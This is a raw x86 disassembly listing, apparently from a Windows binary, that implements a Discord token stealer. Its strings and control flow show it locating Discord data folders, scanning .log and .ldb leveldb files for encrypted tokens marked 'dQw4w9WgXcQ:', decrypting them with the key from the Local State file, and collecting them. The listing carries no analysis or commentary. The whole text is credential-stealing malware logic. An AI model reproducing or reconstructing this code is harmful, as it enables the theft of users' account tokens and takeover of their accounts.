call fcn.1012c370
lea ecx, [ebp - 0x12b8]
push ecx
call fcn.100e3940
add esp, 0x24
xor eax, eax
mov byte [ebp - 0x1309], al
mov cl, byte [ebp - 0x1309]
mov byte [ebp - 0x134d], cl
mov dl, byte [ebp - 0x134d]
mov byte [ebp - 0x1359], dl
mov al, byte [ebp - 0x1359]
mov byte [ebp - 0x1365], al
movzx ecx, byte [ebp - 0x1365]
push ecx
sub esp, 0xc
mov edx, esp
mov dword [ebp - 0x1318], esp
push edx
lea ecx, [ebp - 0x13c]
call fcn.1012c2e0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x1324], esp
push eax
lea ecx, [ebp - 0x13c]
call fcn.10132190
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x1330], esp
push ecx
lea ecx, [ebp - 0x13c]
call fcn.1012c2e0
lea edx, [ebp - 0x1344]
push edx
call fcn.100e7280
add esp, 0x2c
mov dword [ebp - 0x1de8], eax
lea ecx, [ebp - 0x1344]
call fcn.100f5a90
push 0
push str.cord
mov ecx, dword [ebp - 0x118]
call fcn.10134460
cmp eax, 0xffffffff
je 0x10107c74
push 0
push str.Local_State
lea eax, [ebp - 0x13c]
push eax
push 0x10177ad4
mov ecx, dword [ebp - 0xa0]
push ecx
lea ecx, [ebp - 0x13bc]
call fcn.10004910
mov dword [ebp - 0x1de8], eax
mov edx, dword [ebp - 0x1de8]
mov dword [ebp - 0x1dec], edx
mov byte [ebp - 4], 0xc1
mov eax, dword [ebp - 0x1dec]
push eax
lea ecx, [ebp - 0x13e0]
push ecx
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1df0], eax
mov edx, dword [ebp - 0x1df0]
mov dword [ebp - 0x1df4], edx
mov byte [ebp - 4], 0xc2
mov eax, dword [ebp - 0x1df4]
push eax
lea ecx, [ebp - 0x1404]
push ecx
call fcn.100bb3d0
add esp, 0xc
mov dword [ebp - 0x1df8], eax
mov edx, dword [ebp - 0x1df8]
mov dword [ebp - 0x1dfc], edx
mov byte [ebp - 4], 0xc3
mov eax, dword [ebp - 0x1dfc]
push eax
lea ecx, [ebp - 0x1428]
push ecx
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e00], eax
mov edx, dword [ebp - 0x1e00]
mov dword [ebp - 0x1e04], edx
mov byte [ebp - 4], 0xc4
mov eax, dword [ebp - 0x1e04]
push eax
lea ecx, [ebp - 0x1398]
call fcn.100b99d0
mov byte [ebp - 4], 0xc5
lea ecx, [ebp - 0x1398]
push ecx
call fcn.101340f0
add esp, 4
mov byte [ebp - 0x1371], al
mov byte [ebp - 4], 0xc4
lea ecx, [ebp - 0x1398]
call fcn.100f9b20
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x1428]
call fcn.10005120
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x1404]
call fcn.10005120
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x13e0]
call fcn.10005120
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x13bc]
call fcn.10005120
movzx edx, byte [ebp - 0x1371]
test edx, edx
je 0x10107c6f
push 0
mov eax, dword [ebp - 0x118]
push eax
lea ecx, [ebp - 0x144c]
call fcn.100b99d0
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x144c]
push ecx
lea ecx, [ebp - 0x158]
call fcn.100f3220
mov byte [ebp - 4], 0xc7
lea edx, [ebp - 0x158]
mov dword [ebp - 0x148], edx
mov byte [ebp - 4], 0xc8
lea ecx, [ebp - 0x144c]
call fcn.100f9b20
push 8
lea ecx, [ebp - 0x168]
call fcn.1012a890
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x1458], esp
mov eax, dword [ebp - 0x148]
push eax
call fcn.100f31c0
lea ecx, [ebp - 0x168]
push ecx
call fcn.1012c920
add esp, 0xc
mov dword [ebp - 0x1de8], eax
mov byte [ebp - 4], 0xc9
push 8
lea ecx, [ebp - 0x178]
call fcn.1012a890
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x1464], esp
mov eax, dword [ebp - 0x148]
push eax
call fcn.100f31c0
lea ecx, [ebp - 0x178]
push ecx
call fcn.10132830
add esp, 0xc
mov dword [ebp - 0x1de8], eax
mov byte [ebp - 4], 0xca
jmp 0x10107622
lea ecx, [ebp - 0x168]
call fcn.100fef70
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x168]
call fcn.100fb950
movzx ecx, al
test ecx, ecx
je 0x10107c42
lea ecx, [ebp - 0x168]
call fcn.100fde20
mov dword [ebp - 0x184], eax
push 0
push str..log
lea ecx, [ebp - 0x1494]
call fcn.100b4610
mov byte [ebp - 4], 0xcb
mov eax, dword [ebp - 0x17ec]
or eax, 1
mov dword [ebp - 0x17ec], eax
mov ecx, dword [ebp - 0x184]
call fcn.1013a740
mov dword [ebp - 0x1de8], eax
lea ecx, [ebp - 0x1494]
push ecx
lea edx, [ebp - 0x14b8]
push edx
mov ecx, dword [ebp - 0x1de8]
call fcn.10134240
mov dword [ebp - 0x1dec], eax
mov eax, dword [ebp - 0x1dec]
mov dword [ebp - 0x1df0], eax
mov dword [ebp - 4], 0xcc
mov ecx, dword [ebp - 0x17ec]
or ecx, 2
mov dword [ebp - 0x17ec], ecx
mov edx, dword [ebp - 0x1df0]
push edx
call fcn.100fb9a0
add esp, 8
movzx eax, al
test eax, eax
je 0x1010776a
push 0
push str..ldb
lea ecx, [ebp - 0x14dc]
call fcn.100b4610
mov dword [ebp - 4], 0xcd
mov ecx, dword [ebp - 0x17ec]
or ecx, 4
mov dword [ebp - 0x17ec], ecx
mov ecx, dword [ebp - 0x184]
call fcn.1013a740
mov dword [ebp - 0x1df4], eax
lea edx, [ebp - 0x14dc]
push edx
lea eax, [ebp - 0x1500]
push eax
mov ecx, dword [ebp - 0x1df4]
call fcn.10134240
mov dword [ebp - 0x1df8], eax
mov ecx, dword [ebp - 0x17ec]
or ecx, 8
mov dword [ebp - 0x17ec], ecx
mov edx, dword [ebp - 0x1df8]
push edx
call fcn.100fb9a0
add esp, 8
movzx eax, al
test eax, eax
je 0x1010776a
mov dword [ebp - 0x1dfc], 1
jmp 0x10107774
mov dword [ebp - 0x1dfc], 0
mov cl, byte [ebp - 0x1dfc]
mov byte [ebp - 0x146d], cl
mov edx, dword [ebp - 0x17ec]
and edx, 8
je 0x1010779d
and dword [ebp - 0x17ec], 0xfffffff7
lea ecx, [ebp - 0x1500]
call fcn.100f9b20
mov dword [ebp - 4], 0xcc
mov eax, dword [ebp - 0x17ec]
and eax, 4
je 0x101077c1
and dword [ebp - 0x17ec], 0xfffffffb
lea ecx, [ebp - 0x14dc]
call fcn.100f9b20
mov dword [ebp - 4], 0xcb
mov ecx, dword [ebp - 0x17ec]
and ecx, 2
je 0x101077e5
and dword [ebp - 0x17ec], 0xfffffffd
lea ecx, [ebp - 0x14b8]
call fcn.100f9b20
mov dword [ebp - 4], 0xca
mov edx, dword [ebp - 0x17ec]
and edx, 1
je 0x10107809
and dword [ebp - 0x17ec], 0xfffffffe
lea ecx, [ebp - 0x1494]
call fcn.100f9b20
movzx eax, byte [ebp - 0x146d]
test eax, eax
je 0x10107819
jmp 0x10107617
push 0xb8
lea ecx, [ebp - 0x248]
call fcn.10129a80
mov ecx, dword [ebp - 0x184]
call fcn.1013a740
mov dword [ebp - 0x1de8], eax
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x1524]
push eax
mov ecx, dword [ebp - 0x1de8]
call fcn.1013fd20
mov dword [ebp - 0x1dec], eax
mov ecx, dword [ebp - 0x1dec]
mov dword [ebp - 0x1df0], ecx
mov byte [ebp - 4], 0xce
mov edx, dword [ebp - 0x1df0]
push edx
lea ecx, [ebp - 0x248]
call fcn.100ed650
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1524]
call fcn.10005120
lea ecx, [ebp - 0x152d]
call fcn.100047d0
mov dword [ebp - 0x1de8], eax
lea ecx, [ebp - 0x1540]
call fcn.100ef190
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x1570], ecx
mov dword [ebp - 0x156c], edx
mov eax, dword [ebp - 0x1570]
mov ecx, dword [ebp - 0x156c]
mov dword [ebp - 0x1590], eax
mov dword [ebp - 0x158c], ecx
lea edx, [ebp - 0x248]
push edx
lea ecx, [ebp - 0x1550]
call fcn.100ef0f0
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x1560], ecx
mov dword [ebp - 0x155c], edx
mov eax, dword [ebp - 0x1560]
mov ecx, dword [ebp - 0x155c]
mov dword [ebp - 0x1580], eax
mov dword [ebp - 0x157c], ecx
mov edx, dword [ebp - 0x1de8]
push edx
mov eax, dword [ebp - 0x158c]
push eax
mov ecx, dword [ebp - 0x1590]
push ecx
mov edx, dword [ebp - 0x157c]
push edx
mov eax, dword [ebp - 0x1580]
push eax
lea ecx, [ebp - 0x26c]
call fcn.100b9c30
mov byte [ebp - 4], 0xd1
push 0x10
lea ecx, [ebp - 0x284]
call fcn.1012a430
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x159c], esp
lea eax, [ebp - 0x4c]
push eax
call fcn.100edcc0
mov dword [ebp - 0x1de8], eax
mov byte [ebp - 4], 0xd2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x15a8], esp
lea edx, [ebp - 0x26c]
push edx
call fcn.100ede70
lea eax, [ebp - 0x284]
push eax
mov byte [ebp - 4], 0xd1
call fcn.10134500
add esp, 0x54
mov dword [ebp - 0x1dec], eax
mov byte [ebp - 4], 0xd3
lea eax, [ebp - 0x284]
mov dword [ebp - 0x290], eax
mov ecx, dword [ebp - 0x290]
call fcn.10125840
mov dword [ebp - 0x29c], eax
mov ecx, dword [ebp - 0x290]
call fcn.10125d90
mov dword [ebp - 0x2a8], eax
jmp 0x101079d9
mov eax, dword [ebp - 0x29c]
add eax, 0x1c
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x2a8]
je 0x10107c10
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.100ede70
mov byte [ebp - 4], 0xd4
push 0xffffffffffffffff
push 0
push str.dQw4w9WgXcQ:
mov ecx, dword [ebp - 0x2b4]
call fcn.10134460
add eax, 0xc
push eax
lea eax, [ebp - 0x15cc]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.1013fe00
mov dword [ebp - 0x1de8], eax
mov ecx, dword [ebp - 0x1de8]
push ecx
lea ecx, [ebp - 0x2d8]
call fcn.100fa370
lea ecx, [ebp - 0x15cc]
call fcn.10005120
push 0x10
lea ecx, [ebp - 0x2f0]
call fcn.1012a340
lea eax, [ebp - 0x2d8]
push eax
lea ecx, [ebp - 0x2f0]
push ecx
call fcn.1012bdc0
add esp, 8
mov byte [ebp - 4], 0xd5
push 0x10
lea ecx, [ebp - 0x308]
call fcn.1012a340
push str.Local_State
lea eax, [ebp - 0x13c]
push eax
push 0x10177ad4
mov ecx, dword [ebp - 0xa0]
push ecx
lea ecx, [ebp - 0x15f0]
call fcn.10004910
mov dword [ebp - 0x1de8], eax
mov edx, dword [ebp - 0x1de8]
mov dword [ebp - 0x1dec], edx
mov byte [ebp - 4], 0xd6
mov eax, dword [ebp - 0x1dec]
push eax
lea ecx, [ebp - 0x1614]
push ecx
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1df0], eax
mov edx, dword [ebp - 0x1df0]
mov dword [ebp - 0x1df4], edx
mov byte [ebp - 4], 0xd7
mov eax, dword [ebp - 0x1df4]
push eax
lea ecx, [ebp - 0x1638]
push ecx
call fcn.100bb3d0
add esp, 0xc
mov dword [ebp - 0x1df8], eax
mov edx, dword [ebp - 0x1df8]
mov dword [ebp - 0x1dfc], edx
mov byte [ebp - 4], 0xd8
mov eax, dword [ebp - 0x1dfc]
push eax
lea ecx, [ebp - 0x165c]
push ecx
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e00], eax
mov edx, dword [ebp - 0x1e00]
mov dword [ebp - 0x1e04], edx
mov byte [ebp - 4], 0xd9
mov eax, dword [ebp - 0x1e04]
push eax
lea ecx, [ebp - 0x308]
push ecx
call fcn.10135900
add esp, 8
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x165c]
call fcn.10005120
mov byte [ebp - 4], 0xdc
lea ecx, [ebp - 0x1638]
call fcn.10005120
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0x1614]
call fcn.10005120
mov byte [ebp - 4], 0xde
lea ecx, [ebp - 0x15f0]
call fcn.10005120
lea eax, [ebp - 0x308]
push eax
lea ecx, [ebp - 0x2f0]
push ecx
lea edx, [ebp - 0x32c]
push edx
call fcn.10130b20
add esp, 0xc
mov byte [ebp - 4], 0xdf
lea eax, [ebp - 0x32c]
push eax
mov ecx, 0x10198118
call fcn.1013b340
mov byte [ebp - 4], 0xde
lea ecx, [ebp - 0x32c]
call fcn.10005120
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x308]
call fcn.100f82d0
mov byte [ebp - 4], 0xd4
lea ecx, [ebp - 0x2f0]
call fcn.100f82d0
mov byte [ebp - 4], 0xd3
lea ecx, [ebp - 0x2d8]
call fcn.10005120
jmp 0x101079ca
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0x284]
call fcn.100f8a20
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x26c]
call fcn.10005120
mov byte [ebp - 4], 0xca
lea ecx, [ebp - 0x248]
call fcn.10101b40
jmp 0x10107617
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x178]
call fcn.100f9830
mov byte [ebp - 4], 0xc8
lea ecx, [ebp - 0x168]
call fcn.100f9830
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x158]
call fcn.100f9830
jmp 0x10108193
push 0
mov eax, dword [ebp - 0x118]
push eax
lea ecx, [ebp - 0x1680]
call fcn.100b99d0
mov byte [ebp - 4], 0xe0
lea ecx, [ebp - 0x1680]
push ecx
lea ecx, [ebp - 0x348]
call fcn.100f3220
mov byte [ebp - 4], 0xe1
lea edx, [ebp - 0x348]
mov dword [ebp - 0x338], edx
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x1680]
call fcn.100f9b20
push 8
lea ecx, [ebp - 0x358]
call fcn.1012a890
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x168c], esp
mov eax, dword [ebp - 0x338]
push eax
call fcn.100f31c0
lea ecx, [ebp - 0x358]
push ecx
call fcn.1012c920
add esp, 0xc
mov dword [ebp - 0x1de8], eax
mov byte [ebp - 4], 0xe3
push 8
lea ecx, [ebp - 0x368]
call fcn.1012a890
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x1698], esp
mov eax, dword [ebp - 0x338]
push eax
call fcn.100f31c0
lea ecx, [ebp - 0x368]
push ecx
call fcn.10132830
add esp, 0xc
mov dword [ebp - 0x1de8], eax
mov byte [ebp - 4], 0xe4
jmp 0x10107d44
lea ecx, [ebp - 0x358]
call fcn.100fef70
lea eax, [ebp - 0x368]
push eax
lea ecx, [ebp - 0x358]
call fcn.100fb950
movzx ecx, al
test ecx, ecx
je 0x10108166
lea ecx, [ebp - 0x358]
call fcn.100fde20
mov dword [ebp - 0x374], eax
push 0
push str..log
lea ecx, [ebp - 0x16c8]
call fcn.100b4610
mov byte [ebp - 4], 0xe5
mov eax, dword [ebp - 0x17ec]
or eax, 0x10
mov dword [ebp - 0x17ec], eax
mov ecx, dword [ebp - 0x374]
call fcn.1013a740
mov dword [ebp - 0x1de8], eax
lea ecx, [ebp - 0x16c8]
push ecx
lea edx, [ebp - 0x16ec]
push edx
mov ecx, dword [ebp - 0x1de8]
call fcn.10134240
mov dword [ebp - 0x1dec], eax
mov eax, dword [ebp - 0x1dec]
mov dword [ebp - 0x1df0], eax
mov dword [ebp - 4], 0xe6
mov ecx, dword [ebp - 0x17ec]
or ecx, 0x20
mov dword [ebp - 0x17ec], ecx
mov edx, dword [ebp - 0x1df0]
push edx
call fcn.100fb9a0
add esp, 8
movzx eax, al
test eax, eax
je 0x10107e8f
push 0
push str..ldb
lea ecx, [ebp - 0x1710]
call fcn.100b4610
mov dword [ebp - 4], 0xe7
mov ecx, dword [ebp - 0x17ec]
or ecx, 0x40
mov dword [ebp - 0x17ec], ecx
mov ecx, dword [ebp - 0x374]
call fcn.1013a740
mov dword [ebp - 0x1df4], eax
lea edx, [ebp - 0x1710]
push edx
lea eax, [ebp - 0x1734]
push eax
mov ecx, dword [ebp - 0x1df4]
call fcn.10134240
mov dword [ebp - 0x1df8], eax
mov ecx, dword [ebp - 0x17ec]
or ecx, 0x80
mov dword [ebp - 0x17ec], ecx
mov edx, dword [ebp - 0x1df8]
push edx
call fcn.100fb9a0
add esp, 8
movzx eax, al
test eax, eax
je 0x10107e8f
mov dword [ebp - 0x1dfc], 1
jmp 0x10107e99
mov dword [ebp - 0x1dfc], 0
mov cl, byte [ebp - 0x1dfc]
mov byte [ebp - 0x16a1], cl
mov edx, dword [ebp - 0x17ec]
and edx, 0x80
je 0x10107ec8
and dword [ebp - 0x17ec], 0xffffff7f
lea ecx, [ebp - 0x1734]
call fcn.100f9b20
mov dword [ebp - 4], 0xe6
mov eax, dword [ebp - 0x17ec]
and eax, 0x40
je 0x10107eec
and dword [ebp - 0x17ec], 0xffffffbf
lea ecx, [ebp - 0x1710]
call fcn.100f9b20
mov dword [ebp - 4], 0xe5
mov ecx, dword [ebp - 0x17ec]
and ecx, 0x20
je 0x10107f10
and dword [ebp - 0x17ec], 0xffffffdf
lea ecx, [ebp - 0x16ec]
call fcn.100f9b20
mov dword [ebp - 4], 0xe4
mov edx, dword [ebp - 0x17ec]
and edx, 0x10
je 0x10107f34
and dword [ebp - 0x17ec], 0xffffffef
lea ecx, [ebp - 0x16c8]
call fcn.100f9b20
movzx eax, byte [ebp - 0x16a1]
test eax, eax
je 0x10107f44
jmp 0x10107d39
push 0xb8
lea ecx, [ebp - 0x438]
call fcn.10129a80
mov ecx, dword [ebp - 0x374]
call fcn.1013a740
mov dword [ebp - 0x1de8], eax
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x1758]
push eax
mov ecx, dword [ebp - 0x1de8]
call fcn.1013fd20
mov dword [ebp - 0x1dec], eax
mov ecx, dword [ebp - 0x1dec]
mov dword [ebp - 0x1df0], ecx
mov byte [ebp - 4], 0xe8
mov edx, dword [ebp - 0x1df0]
push edx
lea ecx, [ebp - 0x438]
call fcn.100ed650
mov byte [ebp - 4], 0xea
lea ecx, [ebp - 0x1758]
call fcn.10005120
lea ecx, [ebp - 0x1761]
call fcn.100047d0
mov dword [ebp - 0x1de8], eax
lea ecx, [ebp - 0x1774]
call fcn.100ef190
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x17a8], ecx
mov dword [ebp - 0x17a4], edx
mov eax, dword [ebp - 0x17a8]
mov ecx, dword [ebp - 0x17a4]
mov dword [ebp - 0x17c8], eax
mov dword [ebp - 0x17c4], ecx
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1784]
call fcn.100ef0f0
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x1798], ecx
mov dword [ebp - 0x1794], edx
mov eax, dword [ebp - 0x1798]
mov ecx, dword [ebp - 0x1794]
mov dword [ebp - 0x17b8], eax
mov dword [ebp - 0x17b4], ecx
mov edx, dword [ebp - 0x1de8]
push edx
mov eax, dword [ebp - 0x17c4]
push eax
mov ecx, dword [ebp - 0x17c8]
push ecx
mov edx, dword [ebp - 0x17b4]
push edx
mov eax, dword [ebp - 0x17b8]
push eax
lea ecx, [ebp - 0x45c]
call fcn.100b9c30
mov byte [ebp - 4], 0xeb
push 0x10
lea ecx, [ebp - 0x474]
call fcn.1012a430
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x17d4], esp
lea eax, [ebp - 0x88]
push eax
call fcn.100edcc0
mov dword [ebp - 0x1de8], eax
mov byte [ebp - 4], 0xec
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x17e0], esp
lea edx, [ebp - 0x45c]
push edx
call fcn.100ede70
lea eax, [ebp - 0x474]
push eax
mov byte [ebp - 4], 0xeb
call fcn.10134500
add esp, 0x54
mov dword [ebp - 0x1dec], eax
mov byte [ebp - 4], 0xed
lea eax, [ebp - 0x474]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
call fcn.10125840
mov dword [ebp - 0x48c], eax
mov ecx, dword [ebp - 0x480]
call fcn.10125d90
mov dword [ebp - 0x498], eax
jmp 0x10108107
mov eax, dword [ebp - 0x48c]
add eax, 0x1c
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x498]
je 0x10108134
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x4a4]
push eax
mov ecx, 0x10198118
call fcn.1013b340
jmp 0x101080f8
mov byte [ebp - 4], 0xeb
lea ecx, [ebp - 0x474]
call fcn.100f8a20
mov byte [ebp - 4], 0xea
lea ecx, [ebp - 0x45c]
call fcn.10005120
mov byte [ebp - 4], 0xe4
lea ecx, [ebp - 0x438]
call fcn.10101b40
jmp 0x10107d39
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0x368]
call fcn.100f9830
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x358]
call fcn.100f9830
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x348]
call fcn.100f9830
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0x13c]
call fcn.10005120
jmp 0x101071cb
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd0]
call fcn.100f81c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x88]
call fcn.100f6e10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.100f6e10
push edx
mov ecx, ebp
push eax
lea edx, [0x10108204]
call fcn.1014e920
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1014e9f0
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret